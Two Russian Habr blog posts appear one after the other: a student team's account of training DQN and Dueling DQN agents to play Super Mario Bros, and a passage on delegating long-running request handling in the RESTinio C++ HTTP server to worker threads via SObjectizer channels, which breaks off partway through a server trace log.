Первое место заняла команда Deep Q-Mario — ребята создали нейронную сеть, которая использует reinforcement learning для обучения агента играть в Super Mario Bros. В этом посте они рассказывают, какие алгоритмы использовали и с какими проблемами столкнулись (например, в какой-то момент Марио просто отказался прыгать).
### О нас
Мы — Владислав и Дмитрий Артюховы, Артём Брежнев, Арсений Хлытчиев и Егор Юхневич — учимся в 10-11 классах в разных школах Краснодара. С программированием каждый из нас знаком довольно давно, мы писали олимпиады на С++. Однако почти все члены команды раньше не работали на Python, а для написания проекта в короткий пятидневный срок он был необходим. Поэтому первым испытанием для нас стало преодоление слабой типизации Python и незнакомого синтаксиса. Но обо всем по порядку.
### Немного теории
На школе Питерской Вышки нам предстояло создать нейронную сеть, которая использует reinforcement learning для обучения агента играть в Super Mario Bros.
#### Reinforcement Learning
В основе RL алгоритмов лежит принцип взаимодействия агента и среды. Обучение происходит примерно так: агент совершает в среде действие и получает награду (в нашем случае Марио умеет прыгать и перемещаться вправо); среда переходит в следующее состояние; агент опять совершает действие и получает награду; подобное повторяется, пока агент не попадет в терминальное состояние (например, смерть в игре).
Основная цель агента заключается в максимизации суммы наград за весь эпизод — период от старта игры до терминального состояния. Особенностью обучения с подкреплением является отсутствие данных для тренировки, поэтому агент обучается на данных, которые получает, взаимодействуя со средой.
#### Q-learning
В основу нашей модели лег алгоритм Q-learning. Q-learning — это модель, которая обучает некоторую функцию полезности (Q-функцию). Эта функция на основании текущего состояния и конкретного действия агента вычисляет прогнозируемую награду за весь эпизод (Q-value).Агент совершает действия на основании некоторого свода правил — политики. Политика нашего агента называется Epsilon-Greedy: с некоторой вероятностью агент совершает случайное действие, иначе он совершает действие, которое соответствует максимальному значению Q-функции.
```
# implementation of Epsilon-Greedy Policy:
def act(state):
rand_float = random.random() # returns random float in range: [0, 1)
if rand_float <= EPS:
action = random_action()
else:
action = model.get_action(state) # returns action that brings max Q-value
return action
```
В классической реализации алгоритма Q-learning формируется таблица из всех возможных состояний среды и всех возможных действий. Задача заключается в том, чтобы посчитать значения Q-values для каждой пары “состояние — действие”.
Обучение происходит так: мы добавляем к рассматриваемому значению Q-функции разность между оптимальным значением и текущим значением данной функции:
Где *Q(s, a)* — значение Q-функции для состояния и действия;
*Qtarget(s, a)* — это оптимальное, по нашему предположению, значение *Q*-функции, к которому мы пытаемся свести текущее значение *Q*-функции;
*st, at* — состояние среды и выбранное действие в момент времени $t$;
*rt(st, at)* — награда за текущее состояние среды и совершенное действие;
γ — коэффициент дисконтирования. Он необходим для того, чтобы уменьшать "значимость" награды в последующих моментах времени;
α — коэффициент обучения. Он определяет насколько сильно мы изменим текущее значение *Q*-функции.
#### Deep Q-Learning
Часто среда имеет слишком много состояний и действий, поэтому составить таблицу в явном виде невозможно. Для решения этой проблемы используют нейронные сети, чтобы не хранить значения полезности, а предсказывать их. На вход нейросети поступает текущее состояние среды, а на выход она дает прогнозируемую награду для всех действий.Для изменения Q-value мы обновляем параметры нейронной сети, чтобы предсказывать более точные значения. Обновление весов нейронной сети осуществляется градиентным спуском — это метод нахождения минимального значения функции (в [этой статье](https://habr.com/ru/post/307312/) можно почитать подробнее)
Deep Q-learning#### Experience Replay Buffer
Как мы уже говорили, особенностью алгоритмов обучения с подкреплением является отсутствие данных для тренировки модели, поэтому агенту необходимо накапливать игровой опыт и учиться на нем. Во время взаимодействия со средой агент накапливает переходы в некоторый буфер. Эти переходы включают в себя текущее состояние, произведенное действие, награду за действие, следующее состояние после действия, а также переменную, которая определяет, является ли текущее состояние терминальным:
```
# implementation of transition collecting:
transition = (state, action, next_state, reward, done)
replay_buffer.append(transition)
```
#### Target network
Для того, чтобы весь алгоритм обучения работал, необходимо иметь вторую нейронную сеть *target model*, которая определяет оптимальное значение Q-функции (*Q-target*) и является копией модели, взаимодействующей со средой (*online model)*. Единственное отличие этих сетей друг от друга заключается в том, что веса *target model* обновляются несколько реже, чем у *online model* — у нас это примерно каждый 500-й эпизод. Это нужно для корректного обучения модели: если *online model* будет производить вычисления *Q-target* и Q-функций самостоятельно, при изменении весов сети следующие значения Q-target и Q-функций изменятся примерно одинаково, то есть разница между ними останется такой же, и мы не будем сводиться к оптимальному значению.
Существуют два метода обновления весов *target model*: hard update и soft update. Первый копирует *online model* в *target model* каждую n-ую итерацию обучения. Во втором методе веса *target model* также пересчитываются при обучении, но медленнее, как взвешенное среднее весов двух сетей
### Работа над проектом
Стоит отметить, что до школы никто из нашей команды не делал проекты по машинному обучению. За несколько недель нам сообщили тему проекта, и мы заранее, еще в Краснодаре, начали готовиться. Мы читали статьи, смотрели видео по машинному обучению и нейронным сетям, изучали математику, которая нам может пригодиться. Поэтому можно сказать, что на смену приехали уже подготовленными. Конечно, мы не знали нюансов, но во время школы наш куратор [Дмитрий Иванов](https://habr.com/ru/users/dimonenka/) каждый день давал задания, благодаря которым мы смогли разобраться с деталями.Первые дни после начала школы мы занимались тем, что изучали необходимую теорию по нейронным сетям и обучению с подкреплением вместе с Дмитрием. После настало время кодинга: первая наша попытка реализовать DQN (Deep Q-learning Network) алгоритм и научить агента играть в Марио успехом не увенчалась. После девяти часов обучения прогресса не было, и мы не знали, в чем, собственно, дело. После тщетных попыток дебаггинга на питоне, командой было принято единственное разумное решение — переписать код с нуля, — что принесло свои плоды. Имея рабочую реализацию DQN, мы решили на этом не останавливаться, а написать модификацию Dueling DQN, сравнить ее со стандартным алгоритмом и посмотреть, какой агент лучше покажет себя в игре после обучения.
#### Dueling DQN
Основная идея Dueling DQN заключается в том, что нейронная сеть предсказывает не значения Q для всех действий, а отдельно средневзвешенное значение Q-функции по всем действиям (так называемое *V-value*), а также *преимущества* для каждого действия, которые определяются как разность между Q-функцией и средневзвешенным значением (подробнее можно почитать [здесь](https://towardsdatascience.com/dueling-deep-q-networks-81ffab672751)).
Визуализация архитектуры модели Dueling DQN (где-то на просторах интернета)#### Дополнительный функционал
Помимо алгоритмов обучения, нам необходимо было сделать еще несколько полезных вспомогательных фич: saver, logger, plotting, visualization.
**Saver**
Для того, чтобы в случае необходимого приостановления расчетов для изменения гиперпараметров нейронки иметь возможность продолжить обучение на сохраненной версии сети, мы реализовали функционал периодического сохранения весов обучаемой нейронки. Данная возможность была особенно полезна, когда мы столкнулись с проблемой в обучении DQN агента (подробнее о ней расскажем ниже).
**Logger and Plotting**
Также было реализовано логирование: на каждом n-том эпизоде мы сохраняли вычисляемые метрики — функцию средней потери (это функция, которую минимизирует нейронная сеть) и функцию средней награды за эпизод — в отдельном файле, чтобы иметь возможность строить их графики, не прерывая вычислительный процесс.
**Visualization**
Благодаря функции сохранения весов модели во время обучения, мы имели возможность восстанавливать версии нейронной сети. Это позволило нам строить визуализацию взаимодействия агента со средой — наш игровой процесс — на разных стадиях обучения.
#### Возникшие проблемы
На самом деле проблем во время работы над проектом была масса. Бороться с ними команде помогал куратор. Однако одна проблема заставила нас поломать головы над ее решением —на определенном этапе вычислений Марио стал упираться в трубы, не пытаясь их перепрыгнуть.
Возникшая проблема с трубамиМы считаем, что эта особенность поведения связана с тем, что отрицательная награда от исхода времени на прохождение эпизода была меньше, чем отрицательная награда от смерти Марио при ударе с врагом. Другими словами, Марио "считал", что завершить уровень из-за истечения времени для него более предпочтительно, чем смерть.Эта проблема действительно поставила нас в тупик: мы не знали, как заставить агента проходить уровень. Мы бились над решением в течение многих часов, пока Арсений Хлытчиев не придумал модификацию функции награды, названную Punishment-оптимизацией (за что мы всей командой выражаем Арсению благодарность!) Он предложил добавлять отрицательную награду за *"простой"* Марио, чтобы восстановить значимость передвижения агента вперед по уровню. Это улучшение оказало сильное влияние на поведение агента в среде: Марио больше не застревал перед трубами.
Решение проблемы с трубами#### Результаты
К окончанию школы мы получили агента, который неплохо справлялся с частичным прохождением первого уровня игры: Марио сумел пройти около 50%. При этом каждый член команды сумел одолеть Марио, дойдя до второго уровня.
Лучший gameplay МариоОба алгоритма DQN и Dueling DQN после обучения проходили примерно равную часть уровня. Но в силу того, что обычный DQN имел больше времени для обучения, его результат был немного лучше.Так как нашей целью было сравнить обычный алгоритм DQN с его модификацией, давайте проанализируем графики, которые мы получили.
**Функция потери**
 DQN (слева) и Dueling DQN (справа)На первый взгляд может показаться, что Dueling модификация показывает себя хуже, однако большое значение функции потери объясняется тем, что агент, обучающийся на Dueling DQN, в среднем проходил дальше по уровню, чем агент с обычной моделью обучения. В связи с этим среда для агента становилась неизвестной, и он чаще ошибался.
**Функция награды**
DQN (слева) и Dueling DQN (справа)Функция средней награды постепенно возрастает, это свидетельствует о том, что агенты узнают о среде больше, то есть проходят дальше по уровню. Из графиков видно, что агент с моделью обучения Dueling DQN в среднем получает такую же награду, что агент с DQN, однако модифицированной версии понадобилось практически в два раза меньше итераций, чтобы научиться получать такое среднее количество награды.
#### Заключение
Наш проект еще можно и нужно дорабатывать. Например, можно продолжить обучать агента, пока он не завершит уровень, подумать над другими оптимизациями алгоритма DQN и т.д. Но сейчас мы заняты другим: кто-то сдает ЕГЭ, кто-то готовится к летним школам по программированию, поэтому добавлять какие-либо изменения пока не планируем.
За время школы мы получили много опыта в командной разработке и базовые знания о машинном обучении, на основе которых можем создавать свои собственные ML-проекты. А еще мы познакомились с большим количеством интересных людей, которые также хотят развиваться в сфере IT. Поэтому хотим выразить безмерную благодарность организаторам смены, нашему куратору и всем, кто принимал участие в школе. Это был незабываемый и очень полезный опыт.
---
**Другие материалы из нашего блога о проектах студентов младших курсов:**
* [Анализатор C++ на первом курсе: миф, иллюзия или выдумка?](https://habr.com/ru/company/hsespb/blog/525794/)
* [Красиво? Очень! Как мы написали приложение для визуализации аттракторов](https://habr.com/ru/company/hsespb/blog/517838/)
* [4 угла хорошо, а 6 лучше: гексагональные шахматы в консоли и с ботом](https://habr.com/ru/company/hsespb/blog/516022/)
--- | https://habr.com/ru/post/563118/ | null | ru | null |
# RESTinio — это асинхронный HTTP-сервер. Асинхронный
Пару лет назад мы опубликовали [RESTinio](https://bitbucket.org/sobjectizerteam/restinio-0.4) — свой небольшой OpenSource C++фреймворк для встраивания HTTP-сервера в C++ приложения. Мегапопулярным за это время RESTinio не стал, но и [не потерялся](https://www.reddit.com/r/cpp/comments/auvvf5/restful_style_apis_in_c/ehb7b7f/). Кто-то выбирает его за "родную" поддержку Windows, кто-то за какие-то отдельные фичи (вроде поддержки sendfile), кто-то за соотношение возможностей, простоты использования и настраиваемости. Но, думаю, изначально многих RESTinio привлекает вот этим лаконичным "Hello, World"-ом:
```
#include
int main()
{
restinio::run(
restinio::on\_this\_thread()
.port(8080)
.address("localhost")
.request\_handler([](auto req) {
return req->create\_response().set\_body("Hello, World!").done();
}));
return 0;
}
```
Это, действительно, все, что нужно чтобы запустить HTTP-сервер внутри C++ приложения.
И хотя мы всегда стараемся говорить, что ключевой фичей, ради которой мы вообще занялись RESTinio, была асинхронная обработка входящих запросов, все равно периодически сталкиваемся с вопросами о том, как быть, если внутри request\_handler-а приходится выполнять длительные операции.
А раз такой вопрос актуален, то можно еще раз о нем поговорить и привести парочку небольших примеров.
Небольшая отсылка к истокам
===========================
Мы решили сделать свой встраиваемый HTTP-сервер после того, как несколько раз подряд столкнулись с очень похожими задачами: нужно было организовать HTTP-вход для уже существующего C++ приложения или нужно было написать микросервис, в котором требовалось переиспользовать уже существующий "тяжелый" C++ный код. Общей чертой у этих задач было то, что прикладная обработка запроса могла растянуться на десятки секунд.
Грубо говоря, HTTP-сервер за миллисекунду разбирался с новым HTTP-запросом, но для выдачи HTTP-ответа требовалось обратиться к каким-то другим сервисам или же провести какие-то длительные вычисления. Если выполнять обработку HTTP-запросов в синхронном режиме, то HTTP-серверу потребуется пул из тысяч рабочих нитей, что вряд ли можно считать хорошей идеей даже в современных условиях.
Гораздо удобнее, когда HTTP-сервер сможет работать всего на одной рабочей нити, на которой выполняется ввод/вывод и вызываются обработчики запросов. Обработчик запроса просто делегирует реальную обработку какой-то другой рабочей нити и возвращает управление HTTP-серверу. Когда, сильно позже, где-то на другой рабочей нити будет готова информация для ответа на запрос, просто формируется HTTP-ответ, который автоматически подхватывает HTTP-сервер и отсылает этот ответ соответствующему клиенту.
Поскольку мы так и не нашли удовлетворяющего нас готового варианта, который был бы прост и удобен в использовании, был кроссплатформенным и поддерживал бы Windows как "родную" платформу, обеспечивал бы более-менее приличную производительность, и, главное, был бы заточен именно под асинхронную работу, то в начале 2017 года занялись разработкой RESTinio.
Мы хотели сделать асинхронный встраиваемый HTTP-сервер, простой в использовании, освобождающий пользователя от каких-то рутинных забот, при этом более-менее производительный, кроссплатформенный и допускающий гибкую настройку под разные условия. Вроде бы получилось, но об этом предоставим судить пользователям...
Итак, есть входящий запрос, требующий много времени на обработку. Что делать?
=============================================================================
Рабочие нити RESTinio/Asio
--------------------------
Иногда пользователи RESTinio не задумываются о том, какие рабочие нити и как именно использует RESTinio. Например, кто-то может посчитать, что когда RESTinio запускается на одной рабочей нити (посредством `run(on_this_thread(...))`, как в примере выше), то на этой рабочей нити RESTinio только вызывает обработчики запросов. Тогда как для операций ввода-вывода RESTinio "под капотом" создает отдельную нить. И эта отдельная нить продолжает обслуживать новые подключения когда основная рабочая нить занята request\_handler-ом.
На самом деле все нити, которые пользователь выделяет RESTinio, используются и для выполнения операций ввода-вывода, и для вызова request\_handler-ов. Поэтому, если вы запустили RESTinio-сервер через `run(on_this_thread(...))`, то внутри `run()` на текущей нити будут выполняться и операции ввода-вывода, и обработчики запросов.
Грубо говоря, RESTinio запускает Asio-шный event-loop, внутри которого выполняется обработка новых подключений, чтение и парсинг данных из уже существующих подключений, запись готовых для отсылки данных, обработка закрытия соединений и т.п. Среди прочего, после того, как из очередного подключения вычитан и полностью разобран входящий запрос, для обработки этого запроса вызывается заданный пользователем request\_handler.
Соответственно, если request\_handler блокирует работу текущей нити, то блокируется и работающий на этой же нити Asio-шный event-loop. Все просто.
Если RESTinio запускается на пуле рабочих нитей (т.е. посредством `run(on_thread_pool(...))`, как [вот в этом примере](https://bitbucket.org/sobjectizerteam/restinio-0.4/src/v.0.4.9/dev/sample/hello_world_delayed/main.cpp)), то происходит практически тоже самое: на каждой нити из пула запускается Asio-шный event-loop. Поэтому если какой-то request\_handler начнет перемножать большие матрицы, то это заблокирует рабочую нить в пуле и на этой нити перестанут обслуживаться операции ввода-вывода.
Поэтому при использовании RESTinio задача разработчика в том, чтобы его request\_handler-ы завершались за разумное и, желательно, не очень большое время.
Нужен ли вам пул рабочих потоков для RESTinio/Asio?
---------------------------------------------------
Итак, когда заданный пользователем request\_handler блокирует длительной операций рабочую нить, на которой он вызван, то эта нить теряет возможность обрабатывать операции ввода-вывода. Но что делать, если request\_handler-у нужно много времени для формирования ответа? Допустим, он делает какую-то тяжелую вычислительную операцию, время которой в принципе нельзя ужать до нескольких миллисекунд?
Кто-то из пользователей может подумать, что раз RESTinio может работать на пуле рабочих нитей, то достаточно указать размер пула побольше и все.
К сожалению, это будет работать лишь в простых случаях, когда у вас немного параллельных подключений. Да и интенсивность запросов невысока. Если же счет параллельных запросов идет на тысячи (да хотя бы всего лишь на несколько сотен), то легко получить ситуацию, когда все рабочие нити пула будут заняты обработкой уже принятых запросов. А для выполнения операций ввода-вывода нитей уже не останется. В результате чего сервер потеряет "отзывчивость". В том числе RESTinio потеряет возможность обрабатывать тайм-ауты, которые RESTinio автоматически отсчитывает при приеме новых подключений и при обработке запросов.
Поэтому, если для обслуживания входящих запросов вам требуется выполнять длительные блокирующие операции, то лучше выделить для RESTinio всего одну рабочую нить, а вот большой пул рабочих потоков отрядить для выполнения этих самых операций. Обработчик запроса будет всего лишь класть очередной запрос в какую-то очередь, откуда запрос будет извлекаться и отдаваться на обработку.
Пример этой схемы мы подробно рассматривали когда рассказывали о своем [демо-проекте Shrimp](https://stiffstream.com/en/docs/shrimp-demo.html) вот в этой статье: "[Shrimp: масштабируем и раздаем по HTTP картинки на современном C++ посредством ImageMagic++, SObjectizer и RESTinio](https://habr.com/post/416387/)".
Примеры делегирования обработки запросов на отдельные рабочие нити
------------------------------------------------------------------
Выше я попытался объяснить, почему не стоит выполнять длительную обработку прямо внутри request\_handler-а. Откуда проистекает очевидное следствие: длительная обработка запроса должна быть делегирована каким-то другим рабочим нитям. Давайте посмотрим на то, как это может выглядеть.
В двух примерах ниже нам потребуется единственная рабочая нить для запуска RESTinio и еще одна рабочая нить для имитации длительной обработки запросов. А также нам потребуется какая-то очередь сообщений для передачи запросов от нити RESTinio к отдельной рабочей нити.
Делать новую реализацию thread-safe message queue на коленке для этих двух примеров мне было не с руки, поэтому я воспользовался родным для меня SObjectizer-ом и его mchain-ами, которые суть CSP-шные каналы. Подробнее про mchain-ы можно прочитать здесь: "[Обмен информацией между рабочими нитям без боли? CSP-шные каналы нам в помощь](https://habr.com/post/358120/)".
### Сохранение объекта request\_handle
Базовый прием, на котором строится делегирование обработки запросов, — это передача куда-то объекта `request_handle_t`.
Когда RESTinio для обработки входящего запроса вызывает заданный пользователем request\_handler, в этот request\_handler передается объект типа `request_handle_t`. Данный тип является ни чем иным, как умным указателем на параметры полученного запроса. Так что если кому-то удобно думать, что `request_handle_t` — это `shared_ptr`, то смело можно так думать. Это `shared_ptr` и есть.
А раз `request_handle_t` — это `shared_ptr`, то мы можем смело этот умный указатель куда-то передать. Что мы и будем делать в показанных ниже примерах.
Итак, нам потребуется отдельная рабочая нить и канал для связи с ней. Создадим это все:
```
int main()
{
// Запускаем SObjectizer.
so_5::wrapped_env_t sobj;
// Объект std::thread для нити обработки запросов.
std::thread processing_thread;
// При выходе из main для этой нити нужно вызвать join.
// Делаем это через RAII.
auto processing_thread_joiner = so_5::auto_join(processing_thread);
// Канал для передачи запросов на обработку.
auto req_ch = so_5::create_mchain(sobj);
// Канал нужно закрыть при выходе из main.
// Делаем это через RAII.
auto ch_closer = so_5::auto_close_drop_content(req_ch);
// Теперь можем запустить отдельную нить.
// Если далее произойдет выход из main() по какой-то причине,
// то канал принудительно будет закрыт, а для нити будет вызван join().
processing_thread = std::thread{
processing_thread_func, req_ch
};
```
Тело самой рабочей нити находится внутри функции `processing_thread_func()`, которую мы рассмотрим чуть позже.
Сейчас у нас уже есть отдельная рабочая нить и канал для связи с ней. Можно запустить RESTinio-сервер:
```
// Свойства, которыми должен обладать наш сервер.
struct traits_t : public restinio::default_traits_t
{
using logger_t = restinio::shared_ostream_logger_t;
};
restinio::run(
restinio::on_this_thread()
.port(8080)
.address("localhost")
.request\_handler([req\_ch](auto req) {
// Обрабатываем только GET-запросы для корневого каталога.
if(restinio::http\_method\_t::http\_get == req->header().method() &&
"/" == req->header().path())
{
// Делегируем обработку отдельной нити.
so\_5::send(req\_ch, req);
return restinio::request\_accepted();
}
else
return restinio::request\_rejected();
})
.cleanup\_func([&] {
// Закрываем канал запросов для отдельной нити.
// Лучше сделать это вручную, т.к. внутри req\_ch
// могут быть ждущие своей очереди запросы и их следует
// уничтожить пока сервер еще существует.
so\_5::close\_drop\_content(req\_ch);
}));
```
Логика у этого сервера очень простая. Если пришел GET-запрос для '/', то мы делегируем обработку запроса отдельной нити. Для этого выполняем две важных операции:
* отсылаем объект `request_handle_t` в CSP-шный канал. Пока этот объект хранится внутри CSP-шного канала или где-то еще, то RESTinio знает, что запрос еще жив;
* возвращаем значение `restinio::request_accepted()` из обработчика запроса. Это дает RESTinio понять, что запрос принят к обработке и нельзя закрывать соединение с клиентом.
Тот факт, что request\_handler сразу не сформировал ответ RESTinio нисколько не смущает. Раз вернули `restinio::request_accepted()`, значит пользователь взял на себя ответственность за обработку запроса и когда-нибудь ответ на запрос будет сформирован.
Если же обработчик запроса вернул `restinio::request_rejected()`, то RESTinio понимает, что запрос обработан не будет и вернет клиенту ошибку 501.
Итак, зафиксируем предварительный итог: экземпляр `request_handle_t` может быть передан куда-то, поскольку это, по сути, `std::shared_ptr`. Пока этот экземпляр жив, RESTinio считает, что запрос находится в обработке. Если обработчик запроса возвратил `restinio::request_accepted()`, то RESTinio не будет волноваться о том, что ответ на запрос не был сформирован вот прямо сейчас.
Теперь мы можем посмотреть на реализацию этой самой отдельной нити:
```
void processing_thread_func(so_5::mchain_t req_ch)
{
// Генератор случайных чисел для определения задержки
// при имитации обработки запроса.
std::random_device rd;
std::mt19937 generator{rd()};
std::uniform_int_distribution<> pause_generator{350, 3500};
// Отдельный канал для отложенных сообщений timeout_elapsed.
auto delayed_ch = so_5::create_mchain(req_ch->environment());
// Выставляем этот флаг если какой-то канал закрывается.
bool stop = false;
select(
so_5::from_all()
// Реакция на закрытие любого из каналов.
.on_close([&stop](const auto &) { stop = true; })
// Предикат для выхода из select().
// Завершаем select() как только канал оказывается закрыт.
.stop_on([&stop]{ return stop; }),
// Читаем сообщения handle_request из канала общения с RESTinio.
case_(req_ch,
[&](handle_request cmd) {
// Случайная задержка для обработки запроса.
const std::chrono::milliseconds pause{pause_generator(generator)};
// Отсылаем самим себе отложенное сообщение.
so_5::send_delayed(delayed\_ch,
// Это задержка для timeout\_elapsed.
pause,
// Все остальное идет в конструктор timeout\_elapsed.
cmd.m\_req,
pause);
}),
// Читаем сообщения timeout\_elapsed.
case\_(delayed\_ch,
[](timeout\_elapsed cmd) {
// Формируем актуальный ответ на запрос.
cmd.m\_req->create\_response()
.set\_body("Hello, World! (pause:"
+ std::to\_string(cmd.m\_pause.count())
+ "ms)")
.done();
})
);
}
```
Здесь очень простая логика: мы получаем исходный запрос в виде сообщения `handle_request` и пересылаем его сами себе в виде отложенного на некоторое случайное время сообщения `timeout_elapsed`. Реальную обработку запроса делаем лишь при получении `timeout_elapsed`.
**Upd.** Когда на отдельной рабочей нити вызывается метод `done()`, то RESTinio уведомляется о том, что появился готовый ответ, который нужно записать в TCP-соединение. RESTinio инициирует операцию записи, но сама I/O-операция будет выполнена не там, где вызван `done()`, а там, где RESTinio выполняет ввод-вывод и вызывает request\_handler-ы. Т.е. в данном примере `done()` вызывается на отдельной рабочей нити, а операция записи будет выполнена на основной нити, там, где работает `restinio::run()`.
Сами упомянутые сообщения имеют следующий вид:
```
struct handle_request
{
restinio::request_handle_t m_req;
};
struct timeout_elapsed
{
restinio::request_handle_t m_req;
std::chrono::milliseconds m_pause;
};
```
Т.е. отдельная рабочая нить берет `request_handle_t` и сохраняет его до того времени, пока не появится возможность сформировать полный ответ. А когда такая возможность появляется, у сохраненного объекта-запроса вызывается `create_response()` и ответ отдается RESTinio. После чего RESTinio уже на своем рабочем контексте записывает ответ в соединение с соответствующим клиентом.
Здесь экземпляр `request_handle_t` хранится в отложенном сообщении `timeout_elapsed`, поскольку никакой реальной обработки в этом примитивном примере нет. В реальном приложении `request_handle_t` может храниться в какой-то очереди или внутри какого-то объекта, созданного для обработки запроса.
Полный код этого примера можно найти [среди штатных примеров RESTinio](https://bitbucket.org/sobjectizerteam/restinio-0.4/src/v.0.4.9/dev/sample/async_handling_with_sobjectizer/main.cpp).
#### Несколько небольших пояснений по коду
Вот эта конструкция задает RESTinio свойства, которыми должен обладать RESTinio-сервер:
```
// Свойства, которыми должен обладать наш сервер.
struct traits_t : public restinio::default_traits_t
{
using logger_t = restinio::shared_ostream_logger_t;
};
restinio::run(
restinio::on_this_thread()
```
Для данного примера мне нужно, чтобы RESTinio логировал свои действия по обработке запросов. Поэтому я задаю `logger_t`, отличный от используемого по умолчанию `null_logger_t`. Но т.к. RESTinio будет работать, фактически, на нескольких нитях (входящие запросы RESTinio обрабатывает на основной нити, а вот ответы к нему приходят с отдельной рабочей нити), то нужен thread-safe logger, коим и является `shared_ostream_logger_t`.
Внутри `processing_thread_func()` используется SObjectizer-овская функция `select()`, в чем-то аналогичная Go-шной конструкции select: можно читать и обрабатывать сообщения сразу из нескольких каналов. Функция `select()` работает до тех пор, пока не будут закрыты все переданные ей каналы. Или пока ей принудительно не скажут, что пора завершаться.
При этом если закрывается канал для связи с RESTinio-сервером, то продолжать работу смысла нет. Поэтому в `select()` определяется реакция на закрытие любого из каналов: как только какой-то канал закрывается, взводится флаг stop. А это приведет к завершению работы `select()` и выходу из `processing_thread_func()`.
### Сохранение объекта response\_builder
В предыдущем примере мы рассмотрели простой случай, когда есть возможность сохранить `request_handle_t` до того момента, пока мы сможем отдать сразу весь ответ на запрос.
Но могут быть и более сложные сценарии, когда, например, нужно отдавать ответ по частям. Т.е., мы получаем запрос, сразу можем сформировать лишь первую часть ответа. Формируем ее. Потом, спустя какое-то время, у нас появляется возможность сформировать вторую часть ответа. Потом, спустя еще какое-то время, мы можем сформировать следующую часть и т.д.
Причем нам может быть желательно, чтобы все эти части уходили по мере того, как мы их формируем. Т.е. сперва первая часть ответа, чтобы клиент мог ее вычитать, затем вторая, затем третья и т.д.
RESTinio позволяет сделать это за счет [responce\_builder-ов разного типа](https://stiffstream.com/en/docs/restinio/0.4/responsebuilder.html). В частности, таких типов, как [user\_controlled\_output](https://stiffstream.com/en/docs/restinio/0.4/responsebuilder.html#user-controlled-output-response-builder) и [chunked\_output](https://stiffstream.com/en/docs/restinio/0.4/responsebuilder.html#chunked-transfer-encoding-output-builder).
В этом случае нем недостаточно сохранить `request_handle_t`, ведь `request_handle_t` будет полезен только до первого вызова `create_reponse()`. Далее нам нужно работать с response\_builder-ом. Ну и...
Ну и ничего страшного. Response\_builder — это moveable тип, чем-то похожий на unique\_ptr. Так что мы его так же можем сохранить до тех пор, пока он нам потребуется. А чтобы показать, как это выглядит, немного переделаем рассмотренный выше пример. Сделаем так, чтобы функция `processing_thread_func()` формировала ответ частями.
Это совсем не сложно.
Сперва нам нужно определиться с типами, которые потребуются новой `processing_thread_func()`:
```
struct handle_request
{
restinio::request_handle_t m_req;
};
// Тип нашего ответа на запрос.
using output_t = restinio::chunked_output_t;
// И типа reponse_builder-а для нашего запроса.
using response_t = restinio::response_builder_t;
// Отложенное сообщение для формирования ответа.
struct timeout\_elapsed
{
response\_t m\_resp;
int m\_counter;
};
```
Сообщение `handle_request` остается без изменений. А вот в сообщении `timeout_elapsed` мы теперь храним не `request_handle_t`, а response\_builder нужного нам типа. Плюс счетчик оставшихся частей. Как только этот счетчик обнуляется, обслуживание запроса завершается.
Теперь мы можем посмотреть на новый вариант функции `processing_thread_func()`:
```
void processing_thread_func(so_5::mchain_t req_ch)
{
std::random_device rd;
std::mt19937 generator{rd()};
std::uniform_int_distribution<> pause_generator{350, 3500};
auto delayed_ch = so_5::create_mchain(req_ch->environment());
bool stop = false;
select(
so_5::from_all()
.on_close([&stop](const auto &) { stop = true; })
.stop_on([&stop]{ return stop; }),
case_(req_ch,
[&](handle_request cmd) {
// Начинаем обработку запроса сразу, как только получаем его.
auto resp = cmd.m_req->create_response();
resp.append\_header( restinio::http\_field::server, "RESTinio" )
.append\_header\_date\_field()
.append\_header( restinio::http\_field::content\_type,
"text/plain; charset=utf-8" );
// Первая часть ответа сформирована, заставляем RESTinio
// отослать ее клиенту.
resp.flush();
// Обработку остальных частей откладываем на случайное время.
so\_5::send\_delayed>(delayed\_ch,
// Пауза перед отсылкой следующей части.
std::chrono::milliseconds{pause\_generator(generator)},
// Аргументы для конструктора timeout\_elapsed.
// Обращаем внимание на перемещение response\_builder-а внутрь сообщения.
std::move(resp),
3);
}),
case\_(delayed\_ch,
[&](so\_5::mutable\_mhood\_t cmd) {
// Пришло время сформировать следующую часть ответа.
cmd->m\_resp.append\_chunk( "this is the next part of the response\n" );
// Заставляем RESTinio отослать ее клиенту.
cmd->m\_resp.flush();
cmd->m\_counter -= 1;
if( 0 != cmd->m\_counter )
{
// Нужно продолжать отсылку частей ответа через случайный интервал.
so\_5::send\_delayed(
delayed\_ch,
std::chrono::milliseconds{pause\_generator(generator)},
std::move(cmd));
}
else
// Все, ответ полностью сформирован.
cmd->m\_resp.done();
})
);
}
```
Т.е. здесь ответ начинает формироваться сразу, как только запрос приходит на отдельную рабочую нить. И первая часть сразу же отсылается клиенту. А вот оставшиеся части формируются через случайные интервалы времени.
**Upd.** С методом `flush()` такая же ситуация, как и с методом `done()`: RESTinio инициирует операцию записи, но сама I/O-операция будет выполнена не там, где вызван `flush()`, а там, где RESTinio выполняет ввод-вывод и вызывает request\_handler-ы. Т.е. в данном примере `flush()` вызывается на отдельной рабочей нити, а операция записи будет выполнена на основной нити, там, где работает `restinio::run()`.
Если запустить данный пример и сделать запрос, то след работы RESTinio будет выглядеть следующим образом:
```
[2019-05-13 15:02:35.106] TRACE: starting server on 127.0.0.1:8080
[2019-05-13 15:02:35.106] INFO: init accept #0
[2019-05-13 15:02:35.106] INFO: server started on 127.0.0.1:8080
[2019-05-13 15:02:39.050] TRACE: accept connection from 127.0.0.1:49280 on socket #0
[2019-05-13 15:02:39.050] TRACE: [connection:1] start connection with 127.0.0.1:49280
[2019-05-13 15:02:39.050] TRACE: [connection:1] start waiting for request
[2019-05-13 15:02:39.050] TRACE: [connection:1] continue reading request
[2019-05-13 15:02:39.050] TRACE: [connection:1] received 78 bytes
[2019-05-13 15:02:39.050] TRACE: [connection:1] request received (#0): GET /
[2019-05-13 15:02:39.050] TRACE: [connection:1] append response (#0), flags: { not_final_parts, connection_keepalive }, write group size: 1
[2019-05-13 15:02:39.050] TRACE: [connection:1] start next write group for response (#0), size: 1
[2019-05-13 15:02:39.050] TRACE: [connection:1] start response (#0): HTTP/1.1 200 OK
[2019-05-13 15:02:39.050] TRACE: [connection:1] sending resp data, buf count: 1, total size: 167
[2019-05-13 15:02:39.050] TRACE: [connection:1] outgoing data was sent: 167 bytes
[2019-05-13 15:02:39.050] TRACE: [connection:1] finishing current write group
[2019-05-13 15:02:39.050] TRACE: [connection:1] should keep alive
[2019-05-13 15:02:40.190] TRACE: [connection:1] append response (#0), flags: { not_final_parts, connection_keepalive }, write group size: 3
[2019-05-13 15:02:40.190] TRACE: [connection:1] start next write group for response (#0), size: 3
